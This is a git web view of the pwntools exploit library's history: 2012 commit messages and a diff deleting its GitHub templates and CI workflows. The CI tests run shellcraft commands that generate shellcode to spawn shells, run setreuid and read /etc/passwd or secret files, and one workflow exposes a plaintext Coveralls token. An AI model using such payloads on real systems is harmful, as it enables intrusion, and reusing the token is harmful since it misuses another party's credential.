Mathias Svensson 891721b1bc Remove a .empty file 2012-09-09 00:59:07 +02:00
Mathias Svensson 63d237b1c5 Added a python version of peek and poke 2012-09-09 00:54:27 +02:00
Mathias Svensson 9c4cb574b5 die will now print the exception in a reasonable manner 2012-09-09 00:54:10 +02:00
Mathias Svensson 8fcd432946 And now 'die' actually works 2012-09-09 00:29:44 +02:00
Mathias Svensson f8d6a8ce84 Tracing should still be on stderr, so the output of a sploit can easily be piped 2012-09-09 00:21:33 +02:00
Mathias Svensson 573326da4e Added a 'die' function 2012-09-09 00:19:51 +02:00
Mathias Svensson 7ad8d28559 You can now choose the port for the connectback handler 2012-09-08 23:51:25 +02:00
Mathias Svensson e2ceaa01b1 Merge branch 'master' of hades:pwntools 2012-09-08 23:49:32 +02:00
Mathias Svensson 0b497b3dc4 Connectback-handler should bind to any address not just localhost 2012-09-08 23:49:24 +02:00
Morten Brøns-Pedersen b70db37525 reverse argument order 2012-09-08 22:45:43 +02:00
Morten Brøns-Pedersen 6b0377f903 more betterness 2012-09-08 22:34:10 +02:00
Morten Brøns-Pedersen 134e5a3c48 poke and peek 2012-09-08 22:20:40 +02:00
Morten Brøns-Pedersen 6d68de2ae9 Merge branch 'master' of hades:pwntools 2012-09-08 20:16:52 +02:00
Morten Brøns-Pedersen 659afca26e added Hans' unpacker 2012-09-08 20:16:39 +02:00
bsm df95fa9aef aeROPics, yaaaa! 2012-09-04 16:40:19 +02:00
bsm 3f122db9ad renamed ROPinHood to aeROPics because it's more better 2012-09-04 16:38:40 +02:00
Alex Hansen 63a5055660 Fixede recvuntil 2012-08-31 23:50:07 +02:00
Mathias Svensson 9c2f10cb55 Last mixing tweak for tonight 2012-08-31 04:30:51 +02:00
Mathias Svensson 3812b41b3a Just for lulz 2012-08-31 04:17:40 +02:00
Mathias Svensson e3ff70392e Better mixing 2012-08-31 04:16:24 +02:00
Mathias Svensson 98cada2a63 Why not look below the stack too when looking for noise? 2012-08-31 04:01:36 +02:00
Mathias Svensson 44429cbd39 Anti-debug via forking virker nu 2012-08-31 03:55:37 +02:00
Mathias Svensson f865c98eaf Tilføjede SIG_DFL og SIG_IGN 2012-08-31 03:55:18 +02:00
Morten Brøns-Pedersen a49818719b support *args and **kwargs 2012-08-30 22:44:15 +02:00
tm ea1f79bce0 Foundation for the packer 2012-08-30 18:03:33 +02:00
Morten Brøns-Pedersen 80f7bdb418 drunken coding 2012-08-29 23:15:45 +02:00
Morten Brøns-Pedersen 24f36f6659 remove broken nops 2012-08-29 18:24:17 +02:00
Morten Brøns-Pedersen eca136b706 gen RSA key-pair 2012-08-27 16:14:51 +02:00
Morten Brøns-Pedersen 7390ca90ad Merge branch 'master' of hades:pwntools 2012-08-27 15:01:32 +02:00
Mathias Svensson 9273b1a123 Merge branch 'master' of hades:pwntools 2012-08-27 11:47:17 +02:00
Mathias Svensson 702ab38d27 The super secret and long term 'PermaPwn Project' started 2012-08-27 11:43:38 +02:00
Kristoffer Søholm 53e90d3fea Merge branch 'master' of hades:pwntools 2012-08-25 17:10:06 +02:00
Kristoffer Søholm ed33d96c30 Major improvements on unpacker 2012-08-25 17:09:56 +02:00
Morten Brøns-Pedersen bd43ecdd4e Merge branch 'master' of hades:pwntools 2012-08-25 12:58:11 +02:00
Mathias Svensson 12e61a1e15 A bit more meaningful bits declarations 2012-08-24 16:04:58 +02:00
Mathias Svensson 5bc23ede4c Added a bit more documentation 2012-08-24 15:55:41 +02:00
Mathias Svensson 13d763bf6f Tilføjede en glemt fil 2012-08-24 15:27:46 +02:00
Mathias Svensson deee94d26f Added an elf-loader in an early stage 2012-08-24 15:21:12 +02:00
Mathias Svensson 6c0ec2167e Lavede en s/SYS_/SYS64_/ i syscalls64.asm 2012-08-24 15:18:06 +02:00
Morten Brøns-Pedersen ab9930c7ae disable buffering in interactive mode 2012-08-24 14:39:08 +02:00
Morten Brøns-Pedersen 8c61349fea import handler 2012-08-23 19:43:07 +02:00
Morten Brøns-Pedersen 22a38ca9a9 moved functionality from remote.py to basesock.py 2012-08-23 19:42:48 +02:00
Morten Brøns-Pedersen f8e9b46396 add handler 2012-08-23 19:42:21 +02:00
Morten Brøns-Pedersen 48ea8770da memoize assemblers 2012-08-23 19:41:22 +02:00
Morten Brøns-Pedersen 126d914cc2 demo 2012-08-23 19:40:39 +02:00
Kristoffer Søholm 09d386ede7 Merge branch 'master' of hades:pwntools 2012-08-23 03:37:13 +02:00
Kristoffer Søholm 97f19f9cf1 Added first version of perl-based recursive unpacker with support for .zip, feedback is welcome 2012-08-23 03:36:55 +02:00
Morten Brøns-Pedersen ae8c975149 memoization, arg parsing, better remote, better session 2012-08-22 19:52:51 +02:00
Morten Brøns-Pedersen 149dc3e547 Merge branch 'master' of hades:pwntools 2012-08-18 17:44:01 +02:00
Morten Brøns-Pedersen e28c7cf21c top-level exception handling + minor changes 2012-08-18 17:43:41 +02:00
Morten Brøns-Pedersen 75478a13e5 bug fix 2012-08-18 17:42:28 +02:00
Brian 4203d5edf1 ye 2012-08-16 20:26:01 +02:00
Brian c3ffd22c3e fix shit 2012-08-16 20:25:35 +02:00
Morten Brøns-Pedersen 7afc1c60ab no case distinction 2012-08-16 20:14:59 +02:00
Morten Brøns-Pedersen 2eb17dcf53 Merge branch 'master' of hades:pwntools 2012-08-16 20:06:14 +02:00
Morten Brøns-Pedersen a202e3c1f4 lots of changes to pwnlib 2012-08-16 20:06:04 +02:00
Morten Brøns-Pedersen f00bc8aea1 gitignore 2012-08-16 20:05:20 +02:00
Brian 12eeecfe01 added ROPinHood to save the day. It's lulz. 2012-08-16 20:04:54 +02:00
Morten Brøns-Pedersen a74b26258a shellcraft bugfix 2012-08-16 20:04:34 +02:00
Morten Brøns-Pedersen b30be095fb wish list 2012-08-16 20:03:37 +02:00
Morten Brøns-Pedersen 0cb591eef2 new 'bytes' binary 2012-08-16 20:02:04 +02:00
Kristoffer Søholm d3de2dd799 Added COPYPASSTA 2012-06-28 21:53:33 +02:00
Mathias Svensson b7b25bf3bb Merge branch 'master' of hades:pwntools 2012-06-28 21:09:45 +02:00
Mathias Svensson 54141717bb Remember ld-override.h 2012-06-28 21:09:32 +02:00
Mathias Svensson 482f680b7e 64-bit might just be working now 2012-06-28 21:09:01 +02:00
Kristoffer Søholm 22c247ecba Added srand wrapper 2012-06-28 21:08:05 +02:00
Kristoffer Søholm 0c84e4f662 Added cornercase for printf-wrapper 2012-06-28 20:47:16 +02:00
Kristoffer Søholm 4a15f3f82e Finished printf_wrapper 2012-06-28 20:15:31 +02:00
Kristoffer Søholm 345bd22135 Merge branch 'master' of hades:pwntools 2012-06-28 19:41:22 +02:00
Kristoffer Søholm e4709c468f More work on printf-wrapper 2012-06-28 19:41:16 +02:00
Mathias Svensson c28c1ddda4 ld-override.32.asm 2012-06-28 19:39:03 +02:00
Mathias Svensson cf4c863d62 .gitignore 2012-06-28 19:38:44 +02:00
Mathias Svensson dfa5b89c7b Lavede -maxdepth 1 på find i ld-wrapper Makefile 2012-06-28 18:34:59 +02:00
Mathias Svensson b196418e55 Tests skal gerne være mindre hackede og enkeltstående før de committes 2012-06-28 18:28:34 +02:00
Kristoffer Søholm 2f67991b3a Added preliminary printf, testing folder and fixed a name clash 2012-06-28 18:23:02 +02:00
Morten Brøns-Pedersen 344fe813c6 Merge branch 'master' of hades:pwntools 2012-06-27 19:40:50 +02:00
Morten Brøns-Pedersen f95f76832b wrote a loader -- see i386/linux/__init__.py for example of use 2012-06-27 19:39:55 +02:00
Brian 8f1290b6a8 nu med escaping... wow, I'm an idiot 2012-06-27 17:58:59 +02:00
Brian 023f6f9fca little more helpful description 2012-06-27 17:04:24 +02:00
Brian 89a3e04360 mest slamkode, men også lidt jazz! 2012-06-27 16:40:07 +02:00
Morten Brøns-Pedersen bcd7f3fac7 demo code 2012-06-26 20:56:35 +02:00
Morten Brøns-Pedersen f6068aa0f5 codez 2012-06-26 20:55:36 +02:00
Morten Brøns-Pedersen ca0d40c1b1 rewrote shellcraft and started on PWN lib 2012-06-26 15:19:08 +02:00
Morten Brøns-Pedersen 9e7e358365 removed old shellcode 2012-06-24 23:04:20 +02:00
Mathias Svensson d17658c07d Merge branch 'master' of hades:pwntools 2012-06-24 22:09:00 +02:00
Mathias Svensson 26cc060c08 Tilføjede ld-wrapper 2012-06-24 22:08:55 +02:00
Morten Brøns-Pedersen e4b27a766c now with cat -- someone combine it with a connectback? 2012-06-24 20:12:19 +02:00
Morten Brøns-Pedersen 8ecbbd4e7a new and better shellcraft 2012-06-24 16:31:50 +02:00
Morten Brøns-Pedersen 30e9dc799d auto-detect whether bin or hex in plain mode 2012-06-19 22:51:07 +02:00
Morten Brøns-Pedersen 4c5a08d8d4 never mind -- fixed in version 0.2.0.0 2012-06-19 22:39:15 +02:00
Morten Brøns-Pedersen 49a6fb283d workaround for a bug in X86Disassembler 2012-06-19 22:32:29 +02:00
Morten Brøns-Pedersen d783eca57b Some small fixes; especially to 'bytes' 2012-06-17 17:32:59 +02:00
Kasper Fabæch Brandt c97f1f6f9a cgioverflow and sql-bin-get tools written to solve problems from secuinside 2012 2012-06-13 20:05:04 +02:00
Morten Brøns-Pedersen c95d41ddf4 remove unused header file (now compiles on freebsd) 2012-06-11 22:58:24 +02:00
Morten Brøns-Pedersen be36472c02 dont emit empty glue 2012-06-11 22:57:02 +02:00
Morten Brøns-Pedersen 883b721174 new code + new format 2012-06-09 18:55:45 +02:00
Morten Brøns-Pedersen c672dcae0e renamed defines -> include 2012-06-09 18:54:41 +02:00
Morten Brøns-Pedersen 677159d5ba remove debug print 2012-06-07 23:07:10 +02:00
Morten Brøns-Pedersen ce74cb05ea Merge branch 'master' of hades:pwntools 2012-06-07 23:05:47 +02:00
Morten Brøns-Pedersen 5a80ec72ed gitignore 2012-06-07 23:05:08 +02:00
Morten Brøns-Pedersen cc2a55438c codez 2012-06-07 23:04:59 +02:00
Morten Brøns-Pedersen f0126fa4d9 on the way to multi-arch 2012-06-07 23:03:45 +02:00
Morten Brøns-Pedersen 80ef836b4b dont crash if __init__.py is missing 2012-06-07 23:02:19 +02:00
Kristoffer Søholm c38b79cbfe Added support for multiple architectures 2012-06-07 20:47:30 +02:00
Morten Brøns-Pedersen e692277db8 ALL THE THINGS 2012-06-07 17:34:48 +02:00
1814 changed files with 46193 additions and 223083 deletions

No files matched your search

-1
View File
@@ -1 +0,0 @@
pwnlib/data/* linguist-vendored
-14
View File
@@ -1,14 +0,0 @@
# Pwntools Issue Template
Thanks for contributing to Pwntools!
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
Please verify that your issue occurs on 64-bit Ubuntu 14.04. You can use the Dockerfile on `docker.io` for quick testing.
```
$ docker pull pwntools/pwntools:stable
$ docker run -it pwntools/pwntools:stable
```
If possible, provide a proof-of-concept which demonstrates the problem. Include any binaries or scripts necessary to reproduce the issue, and please include the full debug output via setting the environment variable `PWNLIB_DEBUG=1`.
-54
View File
@@ -1,54 +0,0 @@
---
name: Bug report
about: Create a report to help us improve
title: ''
labels: backport-required, bug
assignees: ''
---
Thanks for contributing to Pwntools!
## Update Pwntools First
When reporting an issue, be sure that you are running the latest released version of pwntools (`pip install --upgrade pwntools`).
## Debug Output
Having the extra debug output really helps us, and might help you diagnose the problem yourself.
When submitting an issue that has output from Pwntools, make sure to run your script as shown below, to enable the extra debugging data.
```sh
$ python exploit.py DEBUG LOG_FILE=log.txt
```
You should see `[DEBUG]` statements that show what's happening behind the scenes:
```
[+] Starting local process '/bin/sh' argv=['sh'] : pid 16823
[DEBUG] Sent 0x7 bytes:
'whoami\n'
[DEBUG] Sent 0x5 bytes:
'exit\n'
[+] Receiving all data: Done (11B)
[DEBUG] Received 0xb bytes:
'crashheap\n'
[*] Process '/bin/sh' stopped with exit code 0 (pid 16823)
```
## Verify on Ubuntu
If possible, please verify that your issue occurs on 64-bit Ubuntu 22.04. We provide a Dockerfile based on Ubuntu 22.04 via `docker.io` to make this super simple, no VM required!
```sh
# Download the Docker image
$ docker pull pwntools/pwntools:stable
# Boot the image
$ docker run -it pwntools/pwntools:stable
pwntools@7dc3ef409476:~$ python
>>> from pwn import *
>>> # Test your code here
```
-18
View File
@@ -1,18 +0,0 @@
---
name: Feature request
about: Suggest an idea for this project
title: ''
labels: feature
assignees: ''
---
Thanks for contributing to Pwntools! Ideas from the community help make Pwntools an amazing tool for everybody.
If you've got an idea for a new feature, please provide information about:
* What the feature does
* Why the feature should exist
* What tests should be included
If you think you can write the feature yourself, please submit a Pull Request and we can review your changes!
-18
View File
@@ -1,18 +0,0 @@
---
name: Question
about: Ask us a question about Pwntools
title: ''
labels: question
assignees: ''
---
Thanks for using Pwntools! If you have a question, here are some tips that will make it easier for us to help you.
## Check the Documentation
Pwntools has REALLY extensive documentation. Please check there first! https://docs.pwntools.com
## Debug Output
If you're having an issue with an exploit, run your script with full debugging output, i.e. `python exploit.py DEBUG`. This may help you to see what's happening under the hood, and the debug output will help to diagnose any issues you're encountering.
-32
View File
@@ -1,32 +0,0 @@
# Pwntools Pull Request
Thanks for contributing to Pwntools! Take a moment to look at [`CONTRIBUTING.md`][contributing] to make sure you're familiar with Pwntools development.
Please provide a high-level explanation of what this pull request is for.
## Testing
Pull Requests that introduce new code should try to add doctests for that code. See [`TESTING.md`][testing] for more information.
## Target Branch
Depending on what the PR is for, it needs to target a different branch.
You can always [change the branch][change] after you create the PR if it's against the wrong branch.
| Branch | Type of PR |
| -------- | ---------------------------------------------------------------- |
| `dev` | New features, and enhancements
| `dev` | Documentation fixes and new tests
| `stable` | Bug fixes that affect the current `stable` branch
| `beta` | Bug fixes that affect the current `beta` branch, but not `stable`
| `dev` | Bug fixes for code that has never been released
[contributing]: https://github.com/Gallopsled/pwntools/blob/dev/CONTRIBUTING.md
[testing]: https://github.com/Gallopsled/pwntools/blob/dev/TESTING.md
[change]: https://github.com/blog/2224-change-the-base-branch-of-a-pull-request
## Changelog
After creating your Pull Request, please add and push a commit that updates the changelog for the appropriate branch.
You can look at the existing changelog for examples of how to do this.
-8
View File
@@ -1,8 +0,0 @@
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
# Check for updates to GitHub Actions every week
interval: "weekly"
-70
View File
@@ -1,70 +0,0 @@
name: Android Tests
on: [push, pull_request]
jobs:
android-test:
strategy:
matrix:
python-version: ['3.10']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
gdb gdbserver socat \
qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
libc6-dbg
- name: Cache for avd
uses: actions/cache@v4
id: cache-avd
with:
path: |
~/.android
/usr/local/lib/android/sdk/emulator
/usr/local/lib/android/sdk/platform-tools
/usr/local/lib/android/sdk/system-images
key: ${{ matrix.os }}-cache-avd-${{ hashFiles('travis/setup_avd*.sh') }}
restore-keys: |
${{ matrix.os }}-cache-avd-
- name: Install Android AVD
run: |
sudo usermod -aG kvm $USER
source travis/setup_avd_fast.sh
sed -i 's/skip_android = True/skip_android = False/' docs/source/conf.py
set | grep ^PATH >.android.env
- name: Install dependencies
run: |
pip install --upgrade pip
python setup.py egg_info
pip install --upgrade --editable .
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Coverage Doctests (Android Only)
run: |
source .android.env
PWNLIB_NOTERM=1 coverage run -m sphinx -b doctest docs/source docs/build/doctest docs/source/adb.rst
-33
View File
@@ -1,33 +0,0 @@
name: Changelog
on:
pull_request:
paths:
- pwnlib/**
- pwn/**
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
check:
strategy:
matrix:
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 5
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Check changelog for updates
run: |
if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
echo 'Changelog updated :D'
else
if git log --stat ${GITHUB_BASE}..HEAD pwnlib pwn | grep '++\|--'; then
echo 'Major changes detected, changelog required!'
false
else
echo 'Minor changes detected, no changelog required!'
fi
fi
-355
View File
@@ -1,355 +0,0 @@
name: Continuous Integration
on: [push, pull_request]
jobs:
test:
strategy:
matrix:
python_version: ['3.10', '3.12']
os: [ubuntu-latest]
include:
- python_version: '2.7'
os: ubuntu-22.04
runs-on: ${{ matrix.os }}
timeout-minutes: 30
services:
libcdb-cache:
image: nginx
volumes:
- /home/runner/libcdb-cache:/var/cache/nginx
ports:
- 3000:3000 # https://debuginfod.elfutils.org proxy cache
- 3001:3001 # https://libc.rip/ proxy cache
- 3002:3002 # http://archive.ubuntu.com/ proxy cache
- 3003:3003 # https://gitlab.com/ proxy cache
- 3004:3004 # https://debuginfod.ubuntu.com/ proxy cache
env:
DEBUGINFOD_URLS: "http://localhost:3000/ http://localhost:3004/"
PWN_LIBCRIP_URL: http://localhost:3001/
PWN_UBUNTU_ARCHIVE_URL: http://localhost:3002/
PWN_GITLAB_LIBCDB_URL: http://localhost:3003/
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 20
- name: Git History
run: |
git fetch origin
git log --oneline --graph -10
- name: Fix libcdb-cache permissions
id: fix-perms
run: |
sudo chown -R runner:runner /home/runner/libcdb-cache
echo "date=$(/bin/date -u "+%Y%m%d%H%M%S")" >> $GITHUB_OUTPUT
- name: Cache for libcdb requests
uses: actions/cache@v4
with:
path: ~/libcdb-cache
key: libcdb-python${{ matrix.python_version }}-${{ steps.fix-perms.outputs.date }}
restore-keys: |
libcdb-python${{ matrix.python_version }}-
libcdb-
- name: Install libcdb-cache service config
run: |
sudo chown -R 101:101 /home/runner/libcdb-cache
container_id=$(docker ps --all --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
docker cp ./travis/libcdb_nginx_cache.conf $container_id:/etc/nginx/nginx.conf
docker restart $container_id
- name: Install RPyC for gdb
run: |
# The version packaged in python3-rpyc is too old on Ubuntu 24.04
# We use ^6.0 from pip.
sudo apt-get update && sudo apt-get install -y python3-pip gdb gdbserver
/usr/bin/python -m pip install --break-system-packages rpyc || /usr/bin/python -m pip install rpyc
gdb --batch --quiet --nx --nh --ex 'py import rpyc; print(rpyc.version.version)'
- name: Cache for pip
uses: actions/cache@v4
if: matrix.python_version == '2.7'
with:
path: ~/.cache/pip
key: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-${{ hashFiles('**/pyproject.toml', '**/requirements*.txt') }}
restore-keys: ${{ matrix.os }}-${{ matrix.python_version }}-cache-pip-
- name: Set up Python ${{ matrix.python_version }}
if: matrix.python_version != '2.7'
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python_version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Set up Python 2.7
if: matrix.python_version == '2.7'
run: |
sudo apt-get update
sudo apt-get install -y \
python2.7 python2.7-dev python2-pip-whl
sudo ln -sf python2.7 /usr/bin/python
export PYTHONPATH=`echo /usr/share/python-wheels/pip-*py2*.whl`
sudo --preserve-env=PYTHONPATH python -m pip install --upgrade pip setuptools wheel
sudo chown -R $USER /usr/local/lib/python2.7
- name: Verify tag against version
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
set -x
GITHUB_TAG=${GITHUB_REF#refs/tags/}
echo "$GITHUB_TAG" | grep -E '^[0-9.]*(beta[0-9])?$'
vsetup=$(grep -o "version\\s*=\\s*[\"'].*[\"'],$" setup.py | grep -o "[0-9][^\"']*")
vpwnlib=$(grep -o "__version__\\s*=\\s*[\"'].*[\"']$" pwnlib/version.py | grep -o "[0-9][^\"']*")
[ "$vsetup" = "$vpwnlib" ]
[ "$GITHUB_TAG" = "$vsetup" ]
- name: Install Linux dependencies
run: |
sudo apt-get update
sudo apt-get install -y --no-install-recommends -o Acquire::Retries=3 \
ash bash-static dash ksh mksh zsh \
gdb gdbserver socat \
binutils-multiarch qemu-user-static \
binutils-aarch64-linux-gnu \
binutils-arm-linux-gnueabihf \
binutils-mips-linux-gnu \
binutils-mipsel-linux-gnu \
binutils-msp430 \
binutils-powerpc-linux-gnu \
binutils-s390x-linux-gnu \
binutils-sparc64-linux-gnu \
binutils-riscv64-linux-gnu \
gcc-multilib \
libc6-dbg \
elfutils \
patchelf
- name: Testing Corefiles
run: |
ulimit -a
ulimit -c unlimited
cat /proc/sys/kernel/core_pattern
cat /proc/sys/kernel/core_uses_pid
( cd $(mktemp -d); sh -c 'kill -11 $$' || true; ls -la ./*core* /var/crash/*.crash /var/lib/apport/coredump/core*) || true
- name: Set up SSH
run: |
travis/ssh_setup.sh
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade wheel build
pip install --upgrade flake8 appdirs
pip install --upgrade --editable .
# Pin to known working version until 2.1.5 is out. https://github.com/unicorn-engine/unicorn/issues/2134
pip install 'unicorn==2.1.2'
- name: Sanity checks
run: PWNLIB_NOTERM=1 python -bb -c 'from pwn import *; print(pwnlib.term.term_mode)'
- name: Install documentation dependencies
run: pip install -r docs/requirements.txt
- name: Manually install non-broken Unicorn
if: matrix.python_version == '2.7'
run: pip install unicorn==2.0.0rc7
- name: Disable yama ptrace_scope
run: |
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope # required by some gdb doctests
- name: Coverage doctests
run: |
# Python version installed using setup-python interferes with gdb's python
# by setting LD_LIBRARY_PATH and gdb's python becoming unable to load built-in modules
# like _socket. This is a workaround.
unset LD_LIBRARY_PATH
PWNLIB_NOTERM=1 python -bb -m coverage run -m sphinx -b doctest docs/source docs/build/doctest
- name: Coverage running examples
run: |
export TERM=linux
set -x
python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit.py
python -bb travis/coverage_chdir.py examples/fmtstr examples/fmtstr/exploit2.py || : # can fail randomly?
python -bb -m coverage run examples/asm.py
python -bb -m coverage run examples/asm.py
python -bb -m coverage run examples/text.py
# for f in examples/sigreturn_corefile_*.py; do coverage run "$f"; done # XXX something is wrong
- name: Coverage running commandline tools
run: |
export TERM=linux
pwn() { ( set +x; cmd=$1; shift; PYTHONUNBUFFERED=1 exec python -bb -m coverage run -m pwnlib.commandline."$cmd" "$@" ) }
set -x
pwn cyclic 32
pwn cyclic -l 0x62616161
pwn cyclic -a ab
echo
pwn shellcraft --list |tail
pwn shellcraft -l --syscalls |tail
pwn shellcraft -l execve
pwn shellcraft -l execve + exit
pwn shellcraft --show i386.linux.loader_append
pwn shellcraft --show i386.linux.loader_append + i386.linux.sh
pwn shellcraft -f asm --color amd64.linux.sh
pwn shellcraft -f asm --color amd64.linux.setreuid + amd64.linux.cat /etc/passwd
pwn shellcraft -f asm --color amd64.linux.setreuid = amd64.linux.cat /key+secret --delim =
pwn shellcraft -f elf amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f elf amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null |pwn hex
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -f i --color amd64.linux.cat /etc/passwd + amd64.linux.sh </dev/null
pwn shellcraft -f c amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f c amd64.linux.cat /etc/passwd + amd64.linux.syscalls.exit 0 </dev/null
pwn shellcraft -f str aarch64.linux.sh </dev/null
pwn shellcraft -abr -f elf -o /dev/null amd64.linux.cat /etc/passwd </dev/null
pwn shellcraft -nzr thumb.linux.syscalls.execve /bin/cat '["/bin/cat", "/etc/os-release"]' </dev/null
pwn shellcraft -fp aarch64.trap
pwn disasm --color ff3424c3ebfe
pwn asm -f hex nop
pwn hex ABCD
pwn hex ABCD --separator ' '
pwn hex ABCD --prefix '\x'
pwn hex ABCD -p '0x' -s ' '
pwn hex abcd
pwn unhex 4141 4141
cat /dev/urandom | pwn phd --color -c 256 -s 2
pwn phd -l 0x3d --color=always /etc/os-release
pwn checksec /bin/bash
(ulimit -v 500000 && pwn checksec /bin/bash)
pwn errno 2
pwn errno -1
pwn errno EADDRINUSE
pwn constgrep -c freebsd -m ^PROT_ '3 + 4'
pwn constgrep ^MAP_ 0
pwn constgrep -e O_RDWR
pwn constgrep C
pwn libcdb file /lib/x86_64-linux-gnu/libc.so.6
pwn libcdb lookup puts 5f0 __libc_start_main_ret d0a
pwn libcdb hash b229d1da1e161f95e839cf90cded5f719e5de308
- name: Build source and wheel distributions
if: matrix.python_version != '2.7'
run: |
python -m build
- uses: actions/upload-artifact@v4
if: matrix.python_version == '3.10'
with:
name: packages
path: dist/
include-hidden-files: true
- uses: actions/upload-artifact@v4
with:
name: coverage-${{ matrix.python_version }}
path: .coverage*
include-hidden-files: true
- name: Fix libcdb-cache permissions
run: |
container_id=$(docker ps --filter volume=/home/runner/libcdb-cache --no-trunc --format "{{.ID}}")
docker stop $container_id
sudo chown -R runner:runner /home/runner/libcdb-cache
windows-test:
runs-on: windows-latest
timeout-minutes: 30
continue-on-error: true
steps:
- uses: actions/checkout@v4
- name: Set up Python 3.12
uses: actions/setup-python@v5
with:
python-version: '3.12'
- name: Install dependencies
run: |
pip install --upgrade pip
pip install --upgrade --editable .
- name: Sanity checks
run: |
python -bb -c 'from pwn import *'
python -bb examples/text.py
upload-coverage:
runs-on: ubuntu-latest
needs: test
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 20
- uses: actions/download-artifact@v4
with:
pattern: coverage-*
merge-multiple: true
- name: Install coveralls
run: |
pip install --break-system-packages tomli coveralls || pip install tomli coveralls
- name: Upload coverage to coveralls.io
run: |
coverage combine
COVERALLS_REPO_TOKEN=PP20MEgztXIQJJTguQwe2jeCh6Bm4lkbv coveralls
staging-merge:
runs-on: ubuntu-latest
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
needs: test
steps:
- uses: actions/checkout@v4
with:
fetch-depth: 20
- name: Push changes to protected branch
env:
GITHUB_REF: ${{ github.event.ref }}
run: |
BRANCH=${GITHUB_REF#refs/heads/}
TARGET=${BRANCH%-staging}
git branch -f "$TARGET"
git push origin "$TARGET"
git push origin --delete "$BRANCH"
pypi:
runs-on: ubuntu-latest
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
permissions:
id-token: write
needs: test
steps:
- name: Download artifacts
uses: actions/download-artifact@v4
with:
name: packages
path: dist
- name: Publish package
uses: pypa/gh-action-pypi-publish@release/v1
- if: failure()
run: ls -R
-64
View File
@@ -1,64 +0,0 @@
name: Publish Docker images
on:
push:
branches:
- dev
- beta
- stable
workflow_dispatch:
jobs:
publish:
runs-on: ubuntu-latest
if: github.repository_owner == 'Gallopsled'
steps:
# Required for subdirectories in Git context
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v3
- name: Login to Docker Hub
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKERHUB_USERNAME }}
password: ${{ secrets.DOCKERHUB_PASSWORD }}
- name: Build and push base image
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch'
with:
context: "{{defaultContext}}:extra/docker/base"
push: true
tags: pwntools/pwntools:base
- name: Build and push stable image
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/stable')
with:
context: "{{defaultContext}}:extra/docker/stable"
push: true
tags: pwntools/pwntools:stable
- name: Build and push beta image
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/beta')
with:
context: "{{defaultContext}}:extra/docker/beta"
push: true
tags: pwntools/pwntools:beta
- name: Build and push dev image
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:extra/docker/dev"
push: true
tags: |
pwntools/pwntools:dev
pwntools/pwntools:latest
- name: Build and push ci image
uses: docker/build-push-action@v6
if: github.event_name == 'workflow_dispatch' || (github.event_name == 'push' && github.ref == 'refs/heads/dev')
with:
context: "{{defaultContext}}:travis/docker"
push: true
tags: pwntools/pwntools:ci
-33
View File
@@ -1,33 +0,0 @@
name: Lint
on: [push, pull_request]
jobs:
lint:
strategy:
matrix:
python-version: ['3.10']
os: [ubuntu-latest]
runs-on: ${{ matrix.os }}
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- name: Set up Python ${{ matrix.python-version }}
uses: actions/setup-python@v5
with:
python-version: ${{ matrix.python-version }}
cache: 'pip'
cache-dependency-path: |
**/pyproject.toml
**/requirements*.txt
- name: Critical lint
run: |
pip install flake8
flake8 . --count --select=E9,F63,F7,E71 --show-source --statistics --exclude=android-?dk # TODO: Add F82
- name: Style lint
run: |
flake8 pwnlib setup.py docs travis --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
flake8 examples --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F403,F405'
flake8 pwn --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics --ignore='F401,F403,F405'
-30
View File
@@ -1,30 +0,0 @@
name: Check for merge markers
on:
pull_request:
types: [synchronize]
env:
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
jobs:
mergecheck:
strategy:
matrix:
os: [ubuntu-latest]
